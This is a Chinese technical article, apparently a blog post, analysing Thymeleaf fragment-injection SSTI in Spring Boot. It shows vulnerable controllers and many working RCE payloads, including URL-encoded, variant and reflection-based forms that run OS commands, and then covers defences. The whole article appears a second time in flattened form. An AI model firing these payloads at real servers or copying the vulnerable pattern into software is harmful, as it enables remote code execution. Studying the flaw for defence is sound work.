Thymeleaf Fragment 注入漏洞复现及新姿势扩展
字数 1246 2025-08-05 08:19:01

Thymeleaf Fragment 注入漏洞分析与利用

漏洞概述

Thymeleaf Fragment 注入漏洞是一种存在于 Spring Boot 应用中,当使用 Thymeleaf 模板引擎时可能存在的服务器端模板注入(SSTI)漏洞。该漏洞允许攻击者通过精心构造的请求参数执行任意 Java 代码,导致远程代码执行(RCE)。

漏洞环境配置

典型的漏洞环境配置如下:

@GetMapping("/path")
public String path(@RequestParam String lang) {
    return "user/" + lang + "/welcome"; // 模板路径被污染
}

或者更简单的配置:

@GetMapping("/path")
public String path(@RequestParam String lang) {
    return lang; // 直接返回用户输入作为模板名称
}

漏洞利用原理

核心机制

  1. 预处理表达式:Thymeleaf 支持 __${expr}__ 形式的预处理表达式,会在模板渲染前先执行表达式
  2. Fragment 选择器:: 操作符用于选择模板中的特定片段(fragment)
  3. 表达式执行:Thymeleaf 的表达式解析器会执行合法的表达式

关键点分析

  1. 预处理检查StandardExpressionPreprocessor 会检查输入是否包含下划线 _,有则进行预处理
  2. Fragment 解析ThymeleafView#renderFragment() 检查是否包含 :: 操作符,决定是否解析 Fragment
  3. 表达式执行StandardExpressionParser 解析并执行表达式

漏洞利用方式

基本Payload

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x

URL编码后:

http://ip:port/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__::.x

变种Payload

  1. 简化形式(不需要 .x):

    __${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::
    
  2. 只执行不返回结果

    __${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::
    

新注入点利用

利用 :: 后面的部分也可以执行表达式:

666::__${T(java.lang.Runtime).getRuntime().exec("touch 667")}__

其他表达式形式

当直接返回用户输入作为模板名称时,可以使用更多形式的表达式:

  1. ${expr} 形式

    ${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}::x
    
  2. ${{expr}} 形式

    ${{new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}}::x
    
  3. *{expr} 形式

    *{new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}::x
    
  4. *{{expr}} 形式

    *{{new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}}::x
    

反射形式Payload

使用Java反射构造更隐蔽的Payload:

__${new java.util.Scanner(T(String).getClass().forName("java.lang.Runtime").getMethod("exec",T(String[])).invoke(T(String).getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(T(String).getClass().forName("java.lang.Runtime")),new String[]{"/bin/bash","-c","id"}).getInputStream()).next()}__::x

简化版:

__${new java.util.Scanner(Class.forName("java.lang.Runtime").getMethod("exec",T(String[])).invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")),new String[]{"/bin/bash","-c","id"}).getInputStream()).next()}__::x

漏洞防御措施

  1. 输入验证:对用户输入的模板名称进行严格验证

  2. 白名单机制:只允许特定的模板名称

  3. 避免直接拼接:不要直接将用户输入拼接到模板路径中

  4. 使用安全编码实践

    @GetMapping("/safe")
    public String safePath(@RequestParam String lang) {
        // 验证lang参数是否合法
        if (!isValidTemplate(lang)) {
            return "error";
        }
        return "user/" + lang + "/welcome";
    }
    
  5. 更新Thymeleaf版本:使用最新版本的Thymeleaf,虽然这不是版本问题而是使用方式问题

技术细节分析

处理流程

  1. 请求到达控制器,返回包含用户输入的模板路径
  2. ThymeleafView 检查模板名称是否包含 ::
  3. 如果包含,则调用 renderFragment 方法
  4. StandardFragmentProcessor 处理Fragment选择
  5. StandardExpressionPreprocessor 预处理表达式
  6. StandardExpressionParser 解析并执行表达式

关键代码片段

// 预处理检查
static String preprocess(final Configuration configuration, 
                        final IProcessingContext processingContext, 
                        final String input) {
    if (input.indexOf(PREPROCESS_DELIMITER) == -1) {
        return input;
    }
    // ...执行预处理...
}

// Fragment解析
final FragmentSelection fragmentSelection = 
    FragmentSelectionUtils.parseFragmentSelection(
        configuration, processingContext, standardFragmentSpec);

总结

Thymeleaf Fragment 注入漏洞源于不安全的模板名称处理方式,通过精心构造的表达式可以实现远程代码执行。防御的关键在于正确处理用户输入,避免直接将用户输入作为模板路径的一部分。开发人员应遵循安全编码实践,对用户输入进行严格验证和过滤。

Thymeleaf Fragment 注入漏洞分析与利用 漏洞概述 Thymeleaf Fragment 注入漏洞是一种存在于 Spring Boot 应用中,当使用 Thymeleaf 模板引擎时可能存在的服务器端模板注入(SSTI)漏洞。该漏洞允许攻击者通过精心构造的请求参数执行任意 Java 代码,导致远程代码执行(RCE)。 漏洞环境配置 典型的漏洞环境配置如下: 或者更简单的配置: 漏洞利用原理 核心机制 预处理表达式 :Thymeleaf 支持 __${expr}__ 形式的预处理表达式,会在模板渲染前先执行表达式 Fragment 选择器 : :: 操作符用于选择模板中的特定片段(fragment) 表达式执行 :Thymeleaf 的表达式解析器会执行合法的表达式 关键点分析 预处理检查 : StandardExpressionPreprocessor 会检查输入是否包含下划线 _ ,有则进行预处理 Fragment 解析 : ThymeleafView#renderFragment() 检查是否包含 :: 操作符,决定是否解析 Fragment 表达式执行 : StandardExpressionParser 解析并执行表达式 漏洞利用方式 基本Payload URL编码后: 变种Payload 简化形式 (不需要 .x ): 只执行不返回结果 : 新注入点利用 利用 :: 后面的部分也可以执行表达式: 其他表达式形式 当直接返回用户输入作为模板名称时,可以使用更多形式的表达式: ${expr} 形式 : ${{expr}} 形式 : * {expr} 形式 : * {{expr}} 形式 : 反射形式Payload 使用Java反射构造更隐蔽的Payload: 简化版: 漏洞防御措施 输入验证 :对用户输入的模板名称进行严格验证 白名单机制 :只允许特定的模板名称 避免直接拼接 :不要直接将用户输入拼接到模板路径中 使用安全编码实践 : 更新Thymeleaf版本 :使用最新版本的Thymeleaf,虽然这不是版本问题而是使用方式问题 技术细节分析 处理流程 请求到达控制器,返回包含用户输入的模板路径 ThymeleafView 检查模板名称是否包含 :: 如果包含,则调用 renderFragment 方法 StandardFragmentProcessor 处理Fragment选择 StandardExpressionPreprocessor 预处理表达式 StandardExpressionParser 解析并执行表达式 关键代码片段 总结 Thymeleaf Fragment 注入漏洞源于不安全的模板名称处理方式,通过精心构造的表达式可以实现远程代码执行。防御的关键在于正确处理用户输入,避免直接将用户输入作为模板路径的一部分。开发人员应遵循安全编码实践,对用户输入进行严格验证和过滤。